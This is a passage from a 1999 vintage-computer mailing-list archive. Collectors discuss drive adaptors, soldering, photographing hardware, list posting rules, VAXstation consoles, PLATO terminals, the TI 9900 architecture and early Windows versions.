I'd love to know how this is done. :) Real simple, mine has turbo rom and that knew about 80track two sided drives. I used a 3.5" disk with the advent personality card configured so it looks like a 5.25 80track dd drive and I get 782k per disk (close enough for 720k(different number of sectors but otherwise legit)! The drive was mounted in one of the two hole vacated but the 360k HH drive using a 3.5" to 5.25 adaptor bracket. The 3.5" drive is an older one that has a select switch for one of four drives. A newer drive can be used but you need to make a "odd" cable. Allison From dcoward at pressstart.com Fri Jan 29 19:18:17 1999 From: dcoward at pressstart.com (Doug Coward) Date: Sun Feb 27 18:40:39 2005 Subject: Handicapping competitions Message-ID: <19990129170926.0143983f.in@mail.pressstart.com> Philip said: >My usual method is to hold workpiece in left hand, iron in right hand and >solder dispenser in mouth. I have also been known, when using solder >straight from the reel, to make a fairly rigid structure from solder. >Assuming a fixed workpiece, I suppose I could then hold the iron in my >mouth... Owww.. Don't you get a face full of flumes from the solder? And because of the small parallax (eyes to mouth), don't you have a depth perception problem here? As well as a stiff neck? (Not to mention sucking on that piece of lead in your mouth.) Try this. Holding the iron in your right hand, take about 8" of solder and wrap it a couple of turns around the tip of your little finger (right hand) with about 6" extending toward the tip of iron. You can control the solder by moving your little finger back and forth. Sure, you will wind up with a few short pieces of solder, but you can use them on jobs that don't take so much gymnastics. -Doug ========================================= Doug Coward Press Start Inc. Sunnyvale,CA ========================================= From ard at p850ug1.demon.co.uk Fri Jan 29 18:15:14 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:39 2005 Subject: photographing olf computers/parts In-Reply-To: <199901292232.RAA19081@armigeron.com> from "Sean 'Captain Napalm' Conner" at Jan 29, 99 05:31:11 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 10424 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990130/fb18c3fe/attachment.ksh From eric at brouhaha.com Fri Jan 29 19:33:03 1999 From: eric at brouhaha.com (Eric Smith) Date: Sun Feb 27 18:40:39 2005 Subject: photographing olf computers/parts In-Reply-To: <3.0.1.32.19990129195001.00971ea0@mail.30below.com> (message from Roger Merchberger on Fri, 29 Jan 1999 19:50:01 -0500) References: <80256708.003553FB.00@WESTD90.pgen.co.uk> <3.0.1.32.19990129195001.00971ea0@mail.30below.com> Message-ID: <19990130013303.6227.qmail@brouhaha.com> > The associated 620 format film - it's 70mm and with a decent camera, gets > some really nice pix. (This is the tough part - I haven't played with it > for years, and I have *no* clue if anyone (offered as a service) could > still develop it - you might be limited to a home darkroom to work with the > stuff.) 17 years ago I used a camera that took 620 film. It was starting to become hard to get. The film is the same as 120, but on a different spool, so it was possible to buy 120 and load it onto 620 spools. I didn't have any trouble getting it processed back then, but I haven't tried since. I did some of my own processing, and discovered that it is somewhat harder to manually process 70 mm film than 35 mm. From dpeschel at u.washington.edu Fri Jan 29 19:37:09 1999 From: dpeschel at u.washington.edu (Derek Peschel) Date: Sun Feb 27 18:40:39 2005 Subject: Daily Laugh! In-Reply-To: from "Sam Ismail" at Jan 29, 99 09:50:48 am Message-ID: <199901300137.RAA02788@saul4.u.washington.edu> > Um, Derek, you're gonna unsubscribe this, right? I just did, and they weren't subscribed in the first place. I wonder if I can change the configuration so that only subscribed people can send things to the list? Is that really a good idea? -- Derek From ckaiser at oa.ptloma.edu Fri Jan 29 19:58:26 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:39 2005 Subject: Daily Laugh! In-Reply-To: <199901300137.RAA02788@saul4.u.washington.edu> from "Derek Peschel" at Jan 29, 99 05:37:09 pm Message-ID: <199901300158.RAA12868@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 889 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990129/922b51d3/attachment.ksh From dpeschel at u.washington.edu Fri Jan 29 19:56:52 1999 From: dpeschel at u.washington.edu (Derek Peschel) Date: Sun Feb 27 18:40:39 2005 Subject: Fwd: VAX mail shut down. Message-ID: <199901300156.RAA28927@saul4.u.washington.edu> Daniel sent this to the list, but it got rejected because of a suspicious address -- he sent it as root -- and landed in my mail. So I'm resending it. I thought it best to take his address out of the message, so it wouldn't get harvested for spam. To contact him, replace "minako" by "bony" and replace "system" by "root". -- Derek > Date: Sat, 30 Jan 1999 18:27:16 -0600 (CST) > From: Daniel Seagraves [e-mail address deleted] > To: [a bunch of other people] > Subject: VAX mail shut down. > Message-ID: > Approved: Why bother? > MIME-Version: 1.0 > Content-Type: TEXT/PLAIN; charset=US-ASCII > > > Just so everyone knows, the address SYSTEM@minako.umtec.com has been shut > down. It appears the MX software I have has no spam-blocking abilities > and always relays, and an upgrade to the version that does have these > features costs $500, which I don't have. Software has been released which > allows a spammer to sweep entire subnets for open relays, so ANY open > relay is unsafe! I'm extremely unwilling to do anything that aids > spammers (Like having an open relay) so the mailer daemon there was shut > down, permanently. Mails to there will probably bounce. I haven't had an > incident yet, but I'm not going to either. > > Daniel Seagraves | I'm an International Clandestine Arms Dealer! > #!/bin/perl -sp0777i $/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1 > lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/) > What is this? See http://www.dcs.ex.ac.uk/~aba/rsa | 36 BITS 4EVER! > > > From ckaiser at oa.ptloma.edu Fri Jan 29 20:03:54 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:39 2005 Subject: TI99: WP and PC In-Reply-To: <199901300003.AA24160@world.std.com> from "Allison J Parent" at Jan 29, 99 07:03:40 pm Message-ID: <199901300203.SAA09996@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 1103 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990129/0988b455/attachment.ksh From dpeschel at u.washington.edu Fri Jan 29 19:59:37 1999 From: dpeschel at u.washington.edu (Derek Peschel) Date: Sun Feb 27 18:40:39 2005 Subject: Daily Laugh! In-Reply-To: <199901300158.RAA12868@oa.ptloma.edu> from "Cameron Kaiser" at Jan 29, 99 05:58:26 pm Message-ID: <199901300159.RAA08016@saul4.u.washington.edu> > ::> Um, Derek, you're gonna unsubscribe this, right? > :: > ::I just did, and they weren't subscribed in the first place. > :: > ::I wonder if I can change the configuration so that only subscribed people > ::can send things to the list? Is that really a good idea? > > Yes, definitely. Do it. We can clean up for the few people who might be > receiving mail at a different address than they're subscribed at, and I would > say very few if any in that category. (Maybe they should speak up now :-) Actually, it's not possible to receive mail at a different address than you're subscribed at. OK, it IS possible (even with our list software!) but that feature has apparently been disabled. At least I _think_ it has. Hmm... anyone in that category should DEFINITELY speak up now. I didn't say I could change the configuration, I said I wondered if I could change the configuration. But I'll look into it. -- Derek From ard at p850ug1.demon.co.uk Fri Jan 29 20:05:01 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:39 2005 Subject: photographing olf computers/parts In-Reply-To: <3.0.1.32.19990129195001.00971ea0@mail.30below.com> from "Roger Merchberger" at Jan 29, 99 07:50:01 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 4651 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990130/b6c3d575/attachment.ksh From kbd at ndx.net Fri Jan 29 20:15:09 1999 From: kbd at ndx.net (Kirk Davis) Date: Sun Feb 27 18:40:39 2005 Subject: VaxStation 3100's In-Reply-To: <199901300156.RAA28927@saul4.u.washington.edu> Message-ID: <000201be4bf6$5c0ac400$0a00000a@oemcomputer> I picked up another 3100 today (in addition to one that I picked up before without a drive in it). I'm looking for information on getting these things working. The main things I'm trying to figure out are: Is it possible to run them without a display via the serial port on the back? Information on the 8 status LEDS on back of the unit. Perhaps someone can point me to a web site that has some info on this. Thanks, Kirk From ard at p850ug1.demon.co.uk Fri Jan 29 19:46:29 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:39 2005 Subject: interesting book In-Reply-To: <199901292259.QAA07806@thorin.cs.umn.edu> from "Lawrence LeMay" at Jan 29, 99 04:59:12 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 964 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990130/9492859d/attachment.ksh From marvin at rain.org Fri Jan 29 20:31:10 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:39 2005 Subject: List Postings References: <199901300137.RAA02788@saul4.u.washington.edu> Message-ID: <36B26EEE.2CF1FC47@rain.org> > I wonder if I can change the configuration so that only subscribed people can send things to the list? Is that really a good idea? I think that would be a wonderful idea. The only downside I can see is that a note cannot be posted to the list from someone, lets say, reading an archive copy, without joining the list. Maybe that would be a good thing though. From joe at barrera.org Fri Jan 29 20:33:48 1999 From: joe at barrera.org (Joseph S. Barrera III) Date: Sun Feb 27 18:40:39 2005 Subject: VaxStation 3100's Message-ID: <00c001be4bf8$f8093c40$11d53d9d@JOEBAR> >Is it possible to run them without a display via the serial >port on the back? I have a related question... is it possible to run a VaxStation 3100 with a VR319-DA monitor? (The VR319 came with a DECstation 5000/125.) - Joe From joe at barrera.org Fri Jan 29 20:36:17 1999 From: joe at barrera.org (Joseph S. Barrera III) Date: Sun Feb 27 18:40:39 2005 Subject: List Postings Message-ID: <00cb01be4bf9$509d2b50$11d53d9d@JOEBAR> >I think that would be a wonderful idea. The only downside I can see is that >a note cannot be posted to the list from someone, lets say, reading an >archive copy, without joining the list. Maybe that would be a good thing >though. Joining the list is pretty easy. And if someone is going to make a post, they might as well stick around a little to read the responses. - Joe From lemay at cs.umn.edu Fri Jan 29 20:45:47 1999 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:40:39 2005 Subject: interesting book In-Reply-To: from Tony Duell at "Jan 30, 1999 01:46:29 am" Message-ID: <199901300245.UAA08033@thorin.cs.umn.edu> > > > > Well well, people throw out the darndest things.. > > > > I found a copy of a book by someone named Peter Norton. Looks to me like it > > may have been his first book. Called 'inside the IBM PC'. > > Isn't this the well-known pink-shirt book (so called because of the cover > picture). > Nope, it has a circuitboard as a background, and some horizontal fake lightning on the cover. -Lawrence LeMay From cisin at xenosoft.com Fri Jan 29 20:55:48 1999 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 18:40:39 2005 Subject: photographing olf computers/parts In-Reply-To: Message-ID: On Sat, 30 Jan 1999, Tony Duell wrote: > > There was an article in Rainbow or HotCoCo (don't remember which) about > > this very topic -- I'll try to dig it up if I get the chance. It was not THAT good an article, and it did not include significant sections about focal plane v leaf shutters, DIY flat-field lenses (remounted enlarger lenses, etc. It was in Rainbow magazine over 10 years ago (ON-topic!), by Marty Goodman and Fred Cisin. -- Fred Cisin cisin@xenosoft.com XenoSoft http://www.xenosoft.com 2210 Sixth St. (510) 644-9366 Berkeley, CA 94710-2219 From cbajpai at mediaone.net Fri Jan 29 20:56:30 1999 From: cbajpai at mediaone.net (Chandra Bajpai) Date: Sun Feb 27 18:40:39 2005 Subject: Old Notebooks Message-ID: <000201be4bfc$2336fa80$0100a8c0@chandrab.ne.mediaone.net> Hi, I new to the list and recently decided to persue my 'new' old hobby. I was wondering if anyone has any of these old systems: Gavilian Fortune 32:16 Momenta Anything with the Go OS I'm fortunate to have an old Go OS system...an IBM Thinkpad. Stupidly several years ago let a friend throw away the entire Go documentation set as well as SDK. About the same time I threw away one of the first notebooks made - an old Bondwell 8088 machine (mid-80's it was a real clunker of a machine)...my Mom wouldn't let me keep it due to space constraints....it went along with all my Creative Computer and Interface age issues! It pains me to think about all that stuff (including all the prototype systems I had, some which were never sold). I didn't know...honest. -Chandra From marvin at rain.org Fri Jan 29 21:13:21 1999 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:40:39 2005 Subject: Altairs References: Message-ID: <36B278D1.1C48D1AD@rain.org> There is an ebay auction with two what look to be Altairs, but the second does not have the MITS "title bar" at the bottom. I thought this was discussed earlier but I can't find it. Were the early kits, machines, or ??? supplied without the strip, or did someone build it and just not attach that trip? http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=60303160 Is there a way to date when an Altair was made if the serial number is missing or was not applied (type of motherboard, or other parts)? Did all the early Altairs have the crude 4 S-100 socket boards, or did they make some that were more than 4 sockets? From doug at blinkenlights.com Fri Jan 29 21:15:00 1999 From: doug at blinkenlights.com (Doug) Date: Sun Feb 27 18:40:39 2005 Subject: Old Notebooks In-Reply-To: <000201be4bfc$2336fa80$0100a8c0@chandrab.ne.mediaone.net> Message-ID: On Fri, 29 Jan 1999, Chandra Bajpai wrote: > I new to the list and recently decided to persue my 'new' old hobby. > I was wondering if anyone has any of these old systems: > > Gavilian Check, but only one of the models. > Fortune 32:16 I found one and left it where I found it. So sue me :-) > Momenta Check. > Anything with the Go OS How about a GO Lombard prototype. There is a lurker on this list who has both a Lombard and a Hyde. > I'm fortunate to have an old Go OS system...an IBM Thinkpad. Stupidly The IBM 700T? Check. :-) -- Doug From brett at xnet.com Fri Jan 29 21:20:37 1999 From: brett at xnet.com (Brett Crapser) Date: Sun Feb 27 18:40:39 2005 Subject: photographing olf computers/parts In-Reply-To: Message-ID: On Fri, 29 Jan 1999, Fred Cisin (XenoSoft) wrote: > On Sat, 30 Jan 1999, Tony Duell wrote: > > > There was an article in Rainbow or HotCoCo (don't remember which) about > > > this very topic -- I'll try to dig it up if I get the chance. > > It was not THAT good an article, and it did not include significant > sections about focal plane v leaf shutters, DIY flat-field lenses > (remounted enlarger lenses, etc. It was in Rainbow magazine > over 10 years ago (ON-topic!), by Marty Goodman and Fred Cisin. Never heard of them..... 8-) BC From brett at xnet.com Fri Jan 29 21:29:00 1999 From: brett at xnet.com (Brett Crapser) Date: Sun Feb 27 18:40:39 2005 Subject: Old Notebooks In-Reply-To: <000201be4bfc$2336fa80$0100a8c0@chandrab.ne.mediaone.net> Message-ID: On Fri, 29 Jan 1999, Chandra Bajpai wrote: > Hi, > I new to the list and recently decided to persue my 'new' old hobby. > I was wondering if anyone has any of these old systems: [Snip} > I'm fortunate to have an old Go OS system...an IBM Thinkpad. Stupidly > several years ago let a friend throw away the entire Go documentation > set as well as SDK. About the same time I threw away one of the first > notebooks made - an old Bondwell 8088 machine (mid-80's it was a real > clunker of a machine)...my Mom wouldn't let me keep it due to space > constraints....it went along with all my Creative Computer and Interface > Age issues! It pains me to think about all that stuff (including all > the prototype systems I had, some which were never sold). > I didn't know...honest. Chandra - Not exactly the BEST first message to send to THIS group 8-) > Fortune 32:16 I remember these - ain't got one tho 8-( > Gavilian Lot's of talk lately about them - maybe someone can 'find' ya one. You should also mention some kind of location - it helps us know if we find something we don't want - but know you do - to remember to consider it. BC From lemay at cs.umn.edu Fri Jan 29 21:46:55 1999 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:40:39 2005 Subject: Plato terminal Message-ID: <199901300346.VAA08066@thorin.cs.umn.edu> Well, i figured it was about time I took my terminal out of the closet and tried to get it to work again. Well, the good news is it still appears to be working. This beast is a Control Data Corporation Plato terminal. As far as I know, its the original model of plato terminal. Touch screen, vector graphics, square monitor area... big base unit a tad bigger than my IBM pentium computer, with a video display unit that sits on top and merges with teh base unit. Keyboard is about as non-standard as i've ever seen. There are side panels on both sides of the base unit, which contain all the circuit cards for the smart terminal. It looks like this was made around 1975 since the proms are dated then, and some other board had a chip dated 1974... 8080a cpu.. I have the optional modem card, not that i can use it (1200 rcv, 150 xmt ;) ;) This baby can support all sorts of baud rates, most of which are useless ;) Lets see, if i recieve at 1260 baud, i can transmit at one of these rates: 1260, 630, 157.5, 126, 78.2 baud. If I recieve at 1200 baud (yes! a useful rate) I can transmit at 1200, 600, 150, 120, 75 baud. I only have 4K ram, does anyone have a spare 4k ram board for this ;) ;) I can see why I havent been using this, it looks like I need to wire up a rs-232 adapter box. Pin 3 is recieve, pin 14 is transmit, pin 7 is ground. Am I correct in assuming that i just need to move 14 to 2, or am i getting 2 and 3 swapped around? I woudl want to connectthis termianl to a cp/m computer as its console, and not to a modem. Ok, time for the impossible question: Does anyone have a manual for this? I had some leftover old 1000 speed film in teh old automatic-everything el-cheapo 35mm camera, so i turned onteh flash and snapped a few photos, so with any luck i'll have some poor images of this beast by tomorrow. Hmm, if no manual is available, maybe an old termcap entry might make this terminal useful again.... How many thousands of dollars is this beast worth? i may go broke buying cloth covers for this stuff ;) -Lawrence LeMay From jlwest at tseinc.com Fri Jan 29 21:50:33 1999 From: jlwest at tseinc.com (Jay West) Date: Sun Feb 27 18:40:39 2005 Subject: Hello all! Message-ID: <005a01be4c03$b1442a80$0101a8c0@jay> You wrote... >Hi Jay, > > Welcome to the list. Where are you located? I collect smaller HPs >(9000s, 98xx stuff, 85s, calculators, etc). St. Louis, MO. Smaller HP's (9000)? The K and V class machines aren't that small ! What's 98xx? Calculators? Nifty! I have an HP41C that I treasure, but a plastic connector cracked so the top half isn't always in good contact with the bottom half. Grrr... Anyone have a totally dead 41C that I could steal to use the plastic parts from? > I just send two HP 7907s with MAC interfaces to another list member. Humm... I must admit not being familiar with the 7907's. What was different about them from the 7906? I never saw any TSB docs that mentioned them... Got any 7900A's ? :) > What do you do at The Software Exchange (tseinc.com)? > Joe We Exchange our software for other people's money! I'm the owner there. We sell HP9000 series 800 machines (that's the HP-UX Unix boxes), but we sell only new machines (not used) as part of a vertical solution (with our manufacturing and distribution software). We also do custom programming, network consulting, and we're an ISP as well. Pretty diverse! We only deal in new HP Unix/RISC gear though, not any of the type that I like collecting (2000 TSB related). Also, our DARship only allows us to sell the series 800 stuff with our software. So - no - my desire for 21mx stuff is strictly for my personal collection at home (the 2000E was the first system I ever learned in high school). Other systems in my collection include Dec PDP-8E, PDP-11/23, PDP-11/73, HP1000E (2 of them), and a wide range of period peripherals (LA36, LSI & Hazeltine, Microterm, TU10, Kennedy tape drives, RX02's, etc). My current project is finishing restoration of the 8E (almost complete). Glad to be here on the list, and hope to contribute! Jay West From msg at waste.org Fri Jan 29 21:57:59 1999 From: msg at waste.org (Michael Grigoni) Date: Sun Feb 27 18:40:39 2005 Subject: Plato terminal References: <199901300346.VAA08066@thorin.cs.umn.edu> Message-ID: <36B28347.8BD307D6@waste.org> Lawrence LeMay wrote: > > Well, i figured it was about time I took my terminal out of the closet and > tried to get it to work again. Well, the good news is it still appears > to be working. > > This beast is a Control Data Corporation Plato terminal. As far as I know, > its the original model of plato terminal. --snip-- Plato as a project evolved through many stages; when CDC jumped in they began by providing courseware through Cybernet and other hosts using a terminal designed around a plasma display screen which allowed rear-projection of slides and other overlays. The terminal had no intelligence. The machine you describe was a later-stage micro-based implementation which ran CP/M and Plato courseware ported to it as well as MECC and standard CP/M based packages. CDC Literature Distribution (in whatever form it may still exist) should have beaucoup hardware manuals. Michael Grigoni Cybertheque Museum From healyzh at aracnet.com Fri Jan 29 22:18:19 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:40 2005 Subject: VaxStation 3100's In-Reply-To: <000201be4bf6$5c0ac400$0a00000a@oemcomputer> References: <199901300156.RAA28927@saul4.u.washington.edu> Message-ID: >I picked up another 3100 today (in addition to one that I >picked up before without a drive in it). I'm looking for >information on getting these things working. The main things >I'm trying to figure out are: > >Is it possible to run them without a display via the serial >port on the back? Sure is. You just need the right cable. MMJ, IIRC. That's how I run my VS3100. The thing to rememeber is that unless you've got a Keyboard pluged in it thinks it's a VAXserver 3100, which means a different licensing scheme. >Information on the 8 status LEDS on back of the unit. Perhaps >someone can point me to a web site that has some info on this. http://anacin.nsc.vcu.edu/~jim/mvax/mvax_faq.html should have it. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From lemay at cs.umn.edu Fri Jan 29 22:15:34 1999 From: lemay at cs.umn.edu (Lawrence LeMay) Date: Sun Feb 27 18:40:40 2005 Subject: Plato terminal In-Reply-To: <36B28347.8BD307D6@waste.org> from Michael Grigoni at "Jan 29, 1999 09:57:59 pm" Message-ID: <199901300415.WAA08085@thorin.cs.umn.edu> > Lawrence LeMay wrote: > > > > Well, i figured it was about time I took my terminal out of the closet and > > tried to get it to work again. Well, the good news is it still appears > > to be working. > > > > This beast is a Control Data Corporation Plato terminal. As far as I know, > > its the original model of plato terminal. > > --snip-- > > Plato as a project evolved through many stages; when CDC jumped in > they began by providing courseware through Cybernet and other > hosts using a terminal designed around a plasma display screen which > allowed rear-projection of slides and other overlays. The terminal > had no intelligence. > > The machine you describe was a later-stage micro-based implementation > which ran CP/M and Plato courseware ported to it as well as MECC > and standard CP/M based packages. > > CDC Literature Distribution (in whatever form it may still exist) should > have beaucoup hardware manuals. > > Michael Grigoni > Cybertheque Museum > Are you sure about that? This appears to be just a terminal. I think I saw what you're describing once, using a newer plato terminal (those had green screen touch terminals). This is a much older terminal, with a white display and if the touch screen has any color to it, i would have to describe it as metallic/silver. The monitor says this on the back: IST/MET Display Equip ID: CC115A Series code 03 part # 15629780 Serial Number 2018 -Lawrence LeMay From dastar at ncal.verio.com Fri Jan 29 22:35:23 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:40 2005 Subject: Classic Computer Auctions List In-Reply-To: <199901292258.RAA20037@armigeron.com> Message-ID: On Fri, 29 Jan 1999, Sean 'Captain Napalm' Conner wrote: > > Come in and join the definition team. > > How does one join then? Mail-to: majordomo@nut.net subscribe vcf-c64 > -spc (And I never did really learn 6502 Assembly code) We'll try not to look down on you. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From dastar at ncal.verio.com Fri Jan 29 22:36:38 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:40 2005 Subject: Classic Computer Auctions List In-Reply-To: <199901292303.SAA20306@armigeron.com> Message-ID: On Fri, 29 Jan 1999, Sean 'Captain Napalm' Conner wrote: > It depends. There are a class of problems that lend themselves to such a > partitioning scheme. One of the more well known are code breaking systems, > where the code is the same between each nodes, but the data is different. > At college a few of us wanted to port Crack (breaks Unix passwords) to the > MasPar that was very underutilized, but we never did get around to doing it. > > -spc (Or even rendering---that parallelizes very nicely ... ) Hey, you're a natural for this project. Those are the two very things we've so far been discussing as possible problems for this super vintage computer. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From dastar at ncal.verio.com Fri Jan 29 22:44:51 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:40 2005 Subject: TI99: WP and PC In-Reply-To: <199901300003.AA24160@world.std.com> Message-ID: On Fri, 29 Jan 1999, Allison J Parent wrote: > WP... workspace pointer. back when the 9900 was new registers (memory) > really ate up chip space and TI had an archetecture in the 990 minicomputer > where register were in memory instead of in the CPU. So the WP is a pointer > that points to a block of 16 locations in ram that are addressed in > instructions as R0 through R15. Wow! What a cool architecture! That would be a very handy feature to have in any processor. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From davidfreibrun at home.com Fri Jan 29 14:55:36 1999 From: davidfreibrun at home.com (David Freibrun) Date: Sun Feb 27 18:40:40 2005 Subject: Altairs Message-ID: <000801be4bc9$b822f140$472a0518@cx183395-a.msnv1.occa.home.com> This page should answer your most of your questions. http://www.geocities.com/~compcloset/MITSAltair8800.htm#MITS Advertisements David davidfreibrun@home.com http://altaircomputers.org -----Original Message----- From: Marvin To: Discussion re-collecting of classic computers Date: Saturday, January 30, 1999 3:16 AM Subject: Altairs >There is an ebay auction with two what look to be Altairs, but the second >does not have the MITS "title bar" at the bottom. I thought this was >discussed earlier but I can't find it. Were the early kits, machines, or >??? supplied without the strip, or did someone build it and just not attach >that trip? > >http://cgi.ebay.com/aw-cgi/eBayISAPI.dll?ViewItem&item=60303160 > >Is there a way to date when an Altair was made if the serial number is >missing or was not applied (type of motherboard, or other parts)? > >Did all the early Altairs have the crude 4 S-100 socket boards, or did they >make some that were more than 4 sockets? From jlwest at tseinc.com Fri Jan 29 22:53:09 1999 From: jlwest at tseinc.com (Jay West) Date: Sun Feb 27 18:40:40 2005 Subject: TI99: WP and PC Message-ID: <002001be4c0c$7019a540$0101a8c0@jay> You wrote... >> WP... workspace pointer. back when the 9900 was new registers (memory) >> really ate up chip space and TI had an archetecture in the 990 minicomputer >> where register were in memory instead of in the CPU. So the WP is a pointer >> that points to a block of 16 locations in ram that are addressed in >> instructions as R0 through R15. > >Wow! What a cool architecture! That would be a very handy feature to >have in any processor. Wouldn't that be an awfully handy feature for doing a context switch? It would seem simply adjusting WP would perform the appropriate "change of personality" to select the next user/process... Jay From dastar at ncal.verio.com Fri Jan 29 23:20:03 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:40 2005 Subject: Daily Laugh! In-Reply-To: <199901300137.RAA02788@saul4.u.washington.edu> Message-ID: On Fri, 29 Jan 1999, Derek Peschel wrote: > I wonder if I can change the configuration so that only subscribed people > can send things to the list? Is that really a good idea? Yes and no. Yes because it would eliminate the riff raff postings we get every now and then (pet peeve). No because its really convenient for me to forward messages I get on a different e-mail account (which is not subscribed) from people wanting to give away or sell vintage computers. It would be a big pain in the ass if I had to first forward the message to my dastar account and then forward it from there to ClassicCmp. Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 01/15/99] From hansp at digiweb.com Fri Jan 29 23:27:59 1999 From: hansp at digiweb.com (Hans B Pufal) Date: Sun Feb 27 18:40:40 2005 Subject: TI99: WP and PC References: <002001be4c0c$7019a540$0101a8c0@jay> Message-ID: <36B2985F.1C229C2E@digiweb.com> Jay West wrote: > >> WP... workspace pointer. back when the 9900 was new registers (memory) > >> really ate up chip space and TI had an archetecture in the 990 > minicomputer > >> where register were in memory instead of in the CPU. So the WP is a > pointer > >> that points to a block of 16 locations in ram that are addressed in > >> instructions as R0 through R15. > > > >Wow! What a cool architecture! That would be a very handy feature to > >have in any processor. > > Wouldn't that be an awfully handy feature for doing a context switch? It > would seem simply adjusting WP would perform the appropriate "change of > personality" to select the next user/process... Exactly, but the down side was the access time to the registers, they were all memory accesses and no cache in those days. _---_--__-_-_----__-_----_-__-__-_-___--_-__--___-__----__--_--__-___- Hans B Pufal Comprehensive Computer Catalogue From lwalker at mail.interlog.com Fri Jan 29 18:35:10 1999 From: lwalker at mail.interlog.com (Lawrence Walker) Date: Sun Feb 27 18:40:40 2005 Subject: Windows 1.0? In-Reply-To: <001301be4b4b$d46df940$01646464@codewarrior.fmstrategies.com> Message-ID: <199901300540.AAA03362@smtp.interlog.com> On 29 Jan 99 at 0:54, Todd Osborne wrote: > I have a copy of Windows 1.01 that I installed on an XT. What I am > wondering, was there ever a publicly available 1.0? I cannot recall ever > having seen it. Just curious... > I also have a copy. Kai Kaltanbach an occasional participant on the list and a MS employee gave the definitive answer in a thread last fall. There was no Windows 1.0 although Win 1.01 might have been labelled that in the 1.01 vers which had limited issue in the US only. The first international issue was v. 1.03. I surmise that there was also no v.1.02 ciao larry lwalker@interlog.com From go at ao.com Sat Jan 30 00:21:49 1999 From: go at ao.com (Gary Oliver) Date: Sun Feb 27 18:40:40 2005 Subject: Plato terminal In-Reply-To: <199901300346.VAA08066@thorin.cs.umn.edu> Message-ID: <4.1.19990129214104.033599e0@office.ao.com> I'm working from memory, but I believe the original Plato terminals used a non-standard "character" length that was something like 20 bits for receive and 12 bits for transmit. And they were possibly strange rates as well. The "receive character" actually could contain several characters in one "packet". If your's is one of the original, you may find it somewhat problematic to talk to it in a meaningful way My experience with these stems from a short-lived attempt back in about 1974 - I was working on a "second generation" terminal mux for our home-grown timesharing system at Oregon State, and the computer center had (if I recall) three of the Plato terminals (which were normally used via modem to the system in Urbana, IL). The "powers that be" decided they wanted to connect them to the local t.s. system and it became "my job" to find out how. It was not an easy fit and we gave up after a few months of trying to coax the mux into producing and receiving with the right framing characteristics. But I did have to learn (but quickly forgot) the weirdness of the communication protocol. By the way, a while back I obtained a plasma display unit from an old Plato terminal (512x512 neon plasma display with "see through" rear-projection screen. I also found the Owens-Illinois technical manuals for this unit and was wondering if it is the same display as in the original Plato terminals. If so, I could make copies for you. The manuals I have are: UM607 - DigiVue User Manual 512-60 Display D141 MM608 - DigiVue Maintenance Manual 512-60 Display D141 UM609 - DigiVue User Manual 512-60 Power Pack S159 / S205 MM610 - DigiVue Maintenance Manual 512-60 Power Pack S159 / S205 Someday I need to make a controller and fire mine up so I can play with it. Takes all sorts of power supplies (I have just the display - not the power pack) but the interface is pretty simple. It uses a 30 pin data connection whose inputs are X,Y position, write/erase/sync and some other misc control and status lines. They were really cool displays for their time. Gary At 09:46 PM 1/29/99 -0600, you wrote: >Well, i figured it was about time I took my terminal out of the closet and >tried to get it to work again. Well, the good news is it still appears >to be working. > >This beast is a Control Data Corporation Plato terminal. As far as I know, >its the original model of plato terminal. Touch screen, vector graphics, >square monitor area... big base unit a tad bigger than my IBM pentium >computer, with a video display unit that sits on top and merges with >teh base unit. Keyboard is about as non-standard as i've ever seen. > >There are side panels on both sides of the base unit, which contain all >the circuit 